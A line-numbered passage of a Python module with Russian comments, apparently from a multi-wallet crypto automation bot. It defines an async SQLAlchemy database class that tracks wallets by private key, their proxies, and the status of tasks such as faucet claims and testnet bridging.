| ) 75 | session.add(wallet) 76 | await session.commit() 77 | logger.success(f"Added wallet {private_key[:4]}...{private_key[-4:]}") 78 | 79 | async def update_task_status( 80 | self, private_key: str, task_name: str, new_status: str 81 | ) -> None: 82 | """ 83 | Обновление статуса конкретной задачи 84 | 85 | :param private_key: Приватный ключ кошелька 86 | :param task_name: Название задачи 87 | :param new_status: Новый статус (pending/completed) 88 | """ 89 | async with self.session() as session: 90 | wallet = await self._get_wallet(session, private_key) 91 | if not wallet: 92 | logger.error(f"Wallet {private_key[:4]}...{private_key[-4:]} not found") 93 | return 94 | 95 | tasks = json.loads(wallet.tasks) 96 | for task in tasks: 97 | if task["name"] == task_name: 98 | task["status"] = new_status 99 | break 100 | 101 | wallet.tasks = json.dumps(tasks) 102 | 103 | # Проверяем, все ли задачи выполнены 104 | if all(task["status"] == "completed" for task in tasks): 105 | wallet.status = "completed" 106 | 107 | await session.commit() 108 | logger.info( 109 | f"Updated task {task_name} to {new_status} for wallet {private_key[:4]}...{private_key[-4:]}" 110 | ) 111 | 112 | async def clear_wallet_tasks(self, private_key: str) -> None: 113 | """ 114 | Очистка всех задач кошелька 115 | 116 | :param private_key: Приватный ключ кошелька 117 | """ 118 | async with self.session() as session: 119 | wallet = await self._get_wallet(session, private_key) 120 | if not wallet: 121 | return 122 | 123 | wallet.tasks = json.dumps([]) 124 | wallet.status = "pending" 125 | await session.commit() 126 | logger.info( 127 | f"Cleared all tasks for wallet {private_key[:4]}...{private_key[-4:]}" 128 | ) 129 | 130 | async def update_wallet_proxy(self, private_key: str, new_proxy: str) -> None: 131 | """ 132 | Обновление прокси кошелька 133 | 134 | :param private_key: Приватный ключ кошелька 135 | :param new_proxy: Новый прокси 136 | """ 137 | async with self.session() as session: 138 | wallet = await self._get_wallet(session, private_key) 139 | if not wallet: 140 | return 141 | 142 | wallet.proxy = new_proxy 143 | await session.commit() 144 | logger.info( 145 | f"Updated proxy for wallet {private_key[:4]}...{private_key[-4:]}" 146 | ) 147 | 148 | async def get_wallet_tasks(self, private_key: str) -> List[Dict]: 149 | """ 150 | Получение всех задач кошелька 151 | 152 | :param private_key: Приватный ключ кошелька 153 | :return: Список задач с их статусами 154 | """ 155 | async with self.session() as session: 156 | wallet = await self._get_wallet(session, private_key) 157 | if not wallet: 158 | return [] 159 | return json.loads(wallet.tasks) 160 | 161 | async def get_pending_tasks(self, private_key: str) -> List[str]: 162 | """ 163 | Получение всех незавершенных задач кошелька 164 | 165 | :param private_key: Приватный ключ кошелька 166 | :return: Список названий незавершенных задач 167 | """ 168 | tasks = await self.get_wallet_tasks(private_key) 169 | return [task["name"] for task in tasks if task["status"] == "pending"] 170 | 171 | async def get_completed_tasks(self, private_key: str) -> List[str]: 172 | """ 173 | Получение всех завершенных задач кошелька 174 | 175 | :param private_key: Приватный ключ кошелька 176 | :return: Список названий завершенных задач 177 | """ 178 | tasks = await self.get_wallet_tasks(private_key) 179 | return [task["name"] for task in tasks if task["status"] == "completed"] 180 | 181 | async def get_uncompleted_wallets(self) -> List[Dict]: 182 | """ 183 | Получение списка всех кошельков с невыполненными задачами 184 | 185 | :return: Список кошельков с их данными 186 | """ 187 | async with self.session() as session: 188 | from sqlalchemy import select 189 | 190 | query = select(Wallet).filter_by(status="pending") 191 | result = await session.execute(query) 192 | wallets = result.scalars().all() 193 | 194 | # Преобразуем в список словарей для удобства использования 195 | return [ 196 | { 197 | "private_key": wallet.private_key, 198 | "proxy": wallet.proxy, 199 | "status": wallet.status, 200 | "tasks": json.loads(wallet.tasks), 201 | } 202 | for wallet in wallets 203 | ] 204 | 205 | async def get_wallet_status(self, private_key: str) -> Optional[str]: 206 | """ 207 | Получение статуса кошелька 208 | 209 | :param private_key: Приватный ключ кошелька 210 | :return: Статус кошелька или None если кошелёк не найден 211 | """ 212 | async with self.session() as session: 213 | wallet = await self._get_wallet(session, private_key) 214 | return wallet.status if wallet else None 215 | 216 | async def _get_wallet( 217 | self, session: AsyncSession, private_key: str 218 | ) -> Optional[Wallet]: 219 | """Внутренний метод для получения кошелька по private_key""" 220 | from sqlalchemy import select 221 | 222 | result = await session.execute( 223 | select(Wallet).filter_by(private_key=private_key) 224 | ) 225 | return result.scalar_one_or_none() 226 | 227 | async def add_tasks_to_wallet(self, private_key: str, new_tasks: List[str]) -> None: 228 | """ 229 | Добавление новых задач к существующему кошельку 230 | 231 | :param private_key: Приватный ключ кошелька 232 | :param new_tasks: Список новых задач для добавления 233 | """ 234 | async with self.session() as session: 235 | wallet = await self._get_wallet(session, private_key) 236 | if not wallet: 237 | return 238 | 239 | current_tasks = json.loads(wallet.tasks) 240 | current_task_names = {task["name"] for task in current_tasks} 241 | 242 | # Добавляем только новые задачи 243 | for task in new_tasks: 244 | if task not in current_task_names: 245 | current_tasks.append({"name": task, "status": "pending"}) 246 | 247 | wallet.tasks = json.dumps(current_tasks) 248 | wallet.status = ( 249 | "pending" # Если добавили новые задачи, статус снова pending 250 | ) 251 | await session.commit() 252 | logger.info( 253 | f"Added new tasks for wallet {private_key[:4]}...{private_key[-4:]}" 254 | ) 255 | 256 | async def get_completed_wallets_count(self) -> int: 257 | """ 258 | Получение количества кошельков, у которых выполнены все задачи 259 | 260 | :return: Количество завершенных кошельков 261 | """ 262 | async with self.session() as session: 263 | from sqlalchemy import select, func 264 | 265 | query = ( 266 | select(func.count()).select_from(Wallet).filter_by(status="completed") 267 | ) 268 | result = await session.execute(query) 269 | return result.scalar() 270 | 271 | async def get_total_wallets_count(self) -> int: 272 | """ 273 | Получение общего количества кошельков в базе 274 | 275 | :return: Общее количество кошельков 276 | """ 277 | async with self.session() as session: 278 | from sqlalchemy import select, func 279 | 280 | query = select(func.count()).select_from(Wallet) 281 | result = await session.execute(query) 282 | return result.scalar() 283 | 284 | async def get_wallet_completed_tasks(self, private_key: str) -> List[str]: 285 | """ 286 | Получение списка выполненных задач кошелька 287 | 288 | :param private_key: Приватный ключ кошелька 289 | :return: Список названий выполненных задач 290 | """ 291 | tasks = await self.get_wallet_tasks(private_key) 292 | return [task["name"] for task in tasks if task["status"] == "completed"] 293 | 294 | async def get_wallet_pending_tasks(self, private_key: str) -> List[Dict]: 295 | """ 296 | Получение списка невыполненных задач кошелька 297 | 298 | :param private_key: Приватный ключ кошелька 299 | :return: Список задач с их индексами и статусами 300 | """ 301 | tasks = await self.get_wallet_tasks(private_key) 302 | return [task for task in tasks if task["status"] == "pending"] 303 | 304 | async def get_completed_wallets(self) -> List[Dict]: 305 | """ 306 | Получение списка всех кошельков с выполненными задачами 307 | 308 | :return: Список кошельков с их данными 309 | """ 310 | async with self.session() as session: 311 | from sqlalchemy import select 312 | 313 | query = select(Wallet).filter_by(status="completed") 314 | result = await session.execute(query) 315 | wallets = result.scalars().all() 316 | 317 | return [ 318 | { 319 | "private_key": wallet.private_key, 320 | "proxy": wallet.proxy, 321 | "status": wallet.status, 322 | "tasks": json.loads(wallet.tasks), 323 | } 324 | for wallet in wallets 325 | ] 326 | 327 | async def get_wallet_tasks_info(self, private_key: str) -> Dict: 328 | """ 329 | Получение полной информации о задачах кошелька 330 | 331 | :param private_key: Приватный ключ кошелька 332 | :return: Словарь с информацией о задачах 333 | """ 334 | tasks = await self.get_wallet_tasks(private_key) 335 | completed = [task["name"] for task in tasks if task["status"] == "completed"] 336 | pending = [task["name"] for task in tasks if task["status"] == "pending"] 337 | 338 | return { 339 | "total_tasks": len(tasks), 340 | "completed_tasks": completed, 341 | "pending_tasks": pending, 342 | "completed_count": len(completed), 343 | "pending_count": len(pending), 344 | } 345 | 346 | 347 | # # Создание и инициализация БД 348 | # db = Database() 349 | # await db.init_db() 350 | 351 | # # Добавление кошелька с задачами 352 | # await db.add_wallet( 353 | # private_key="0x123...", 354 | # proxy="http://proxy1.com", 355 | # tasks_list=["FAUCET", "OKX_WITHDRAW", "TESTNET_BRIDGE"] 356 | # ) 357 | 358 | # # Обновление статуса задачи 359 | # await db.update_task_status( 360 | # private_key="0x123...", 361 | # task_name="FAUCET", 362 | # new_status="completed" 363 | # ) 364 | 365 | # # Получение списка незавершенных задач 366 | # pending_tasks = await db.get_pending_tasks("0x123...") 367 | 368 | # # Очистка задач кошелька 369 | # await db.clear_wallet_tasks("0x123...") 370 | 371 | # # Добавление новых задач к существующему кошельку 372 | # await db.add_tasks_to_wallet( 373 | # private_key="0x123...", 374 | # new_tasks=["NEW_TASK1", "NEW_TASK2"] 375 | # ) 376 | --------------------------------------------------------------------------------